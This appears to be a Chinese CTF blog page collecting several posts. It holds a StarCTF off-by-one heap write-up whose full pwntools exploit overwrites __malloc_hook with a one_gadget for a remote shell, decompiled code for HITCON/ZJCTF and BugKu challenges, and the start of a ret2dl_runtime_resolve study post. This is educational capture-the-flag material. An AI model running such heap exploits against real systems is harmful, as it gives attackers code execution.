StarCTF Unsorted Bin Leak & Off by One & (UAF or Double Free) Level6-Offbyone Writeup

这道题个人觉得比较麻烦,这道题是保护全开的。 步骤

  1. unsorted bin leak 出 main_arena + 88。
  2. 这里有点要注意的,在这之前认为 unsorted bin 的地址如果之后被申请之后 FD 和 BK 会置空,现在看来似乎并不会。
  3. 为什么要四个 chunk? 四个 chunk 分别有以下作用:
    1. 用于 off by one 覆盖 b 的 size;
    2. 用于 Chunk Extend,Extend 到 c 的位置,用于控制 c 的 FD;
    3. 控制 fastbin 的引子;
    4. 防止 unsorted bin 与 top chunk 合并,因为 Chunk Extend 的长度是超过 fastbin 的长度。
  4. 结尾的 delete_note(4)是什么意思?
    1. 本来应该是触发 malloc 函数,但是 malloc 函数中如果 0 的数量不多,那么可能 one_gadget 无法达成条件。
    2. 所以就衍生出一种利用方法就是,两次 free 同一个地址,会爆 double free 错误,这时候因为堆栈比较深(libc_free -> _int_free -> malloc -> __malloc_hook),所以堆上的 0 会比较多,利用成功率会更高。
    3. 但是这里 double free 的条件难以构造,但是经过测试发现 delete_note(4)也可以触发报错,于是成功 getshell
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./level6-offbyone')
r = remote('pwn.sixstars.team', 22506)
context.log_level = "debug"
def add_note(size, content):
    r.sendlineafter(">> ", "1")
    r.sendlineafter("Size:", str(size))
    r.sendafter("Content:", content)

def show_note(idx):
    r.sendlineafter(">> ", "2")
    r.sendlineafter("Input your id:", str(idx))

def edit_note(idx, content):
    r.sendlineafter(">> ", "3")
    r.sendlineafter("Input your id:", str(idx))
    r.sendafter("Content:", content)

def delete_note(idx):
    r.sendlineafter(">> ", "4")
    r.sendlineafter("Input your id:", str(idx))

#leak
add_note(0x88, 'a' * 0x88) #91
add_note(0x88, 'b' * 0x88) #91
delete_note(0)
add_note(0x8, 'a' * 0x8)
show_note(0)
malloc_hook_addr = u64((r.recvuntil('\n')[-7:-1]).ljust(8, '\x00')) - 0xE8
libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')
delete_note(0)
delete_note(1)
#off by one
add_note(0x18, 'a' * 0x18) #0
add_note(0x18, 'b' * 0x18) #1
add_note(0x68, 'c' * 0x68) #2
add_note(0x18, 'd' * 0x18) #3
edit_note(0, 'a' * 0x18 + '\x91')
delete_note(2)
delete_note(1)
add_note(0x88, 'a' * 0x18 + p64(0x71) + p64(malloc_hook_addr - 0x23) + '\n') #1
#UAF
add_note(0x68, 'c' * 0x68) #2
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
add_note(0x68, 'a' * 0x13 + p64(one_gadget) + '\n') #4
#delete_note(1)
delete_note(4)
r.interactive()

HITCON Training Lab14 Unsorted Bin Attack Magicheap & [ZJCTF 2019]EasyHeap

现在居然可以一次过了,有点惊讶

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-10h]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 4869 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap();
    }
  }
}

create_heap(),申请大小可以自定义 edit_heap(),有堆溢出漏洞。 delete_heap(), 删除后指针至0 这道题应该也可以fastbin attack,所以不能算是典型的例题,等下去找一道unsorted bin attack 和 fastbin attak 打搭配的题目。

BugKu Test PWN、Reverse、Web Writeup

按我的做题顺序说吧 pwn1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-1Ch]
  unsigned int buf; // [esp+10h] [ebp-18h]
  int v6; // [esp+14h] [ebp-14h]
  int fd; // [esp+18h] [ebp-10h]
  int i; // [esp+1Ch] [ebp-Ch]

  setvbuf(stdout, 0, 2, 0);
  puts("###### Welecome to ctf game ######\ninput your name length : ");
  read_name();
  puts("let's begin guess num game ");
  fd = open("/dev/urandom", 0);
  if ( fd < 0 || read(fd, &buf, 4u) < 0 )
  {
    puts("error");
    exit(0);
  }
  close(fd);
  srand(buf);
  for ( i = 0; i <= 9; ++i )
  {
    v6 = rand() % 9 + 3;
    printf("Round %d , please guess the num : \n", i);
    fflush(stdout);
    fflush(stdin);
    __isoc99_scanf("%d", &v4);
    if ( v4 != v6 )
    {
      printf("you fail");
      exit(0);
    }
  }
  printf("u are great! this is your flag");
  getflag();
  return 0;
}

这里的主要逻辑是,从/dev/urandom中获得一个随机数,然后作为随机数种子生成随机数,然后让你输入随机数,输入10个如果都对了,那就getFlag(),但是我之前对随机数不太了解。我这道题的入口点是上面一个不太让人注意的函数 read_name();

高级ROP Ret2_dl_runtime_resolve

我觉得这很难,所以开帖子记录自己的学习过程。 要学会这个利用方法首先要知道ELF文件的基本结构和动态链接的基本过程。 文章内容都是我自己的理解,出现错误也是非常正常的,欢迎指正。

0%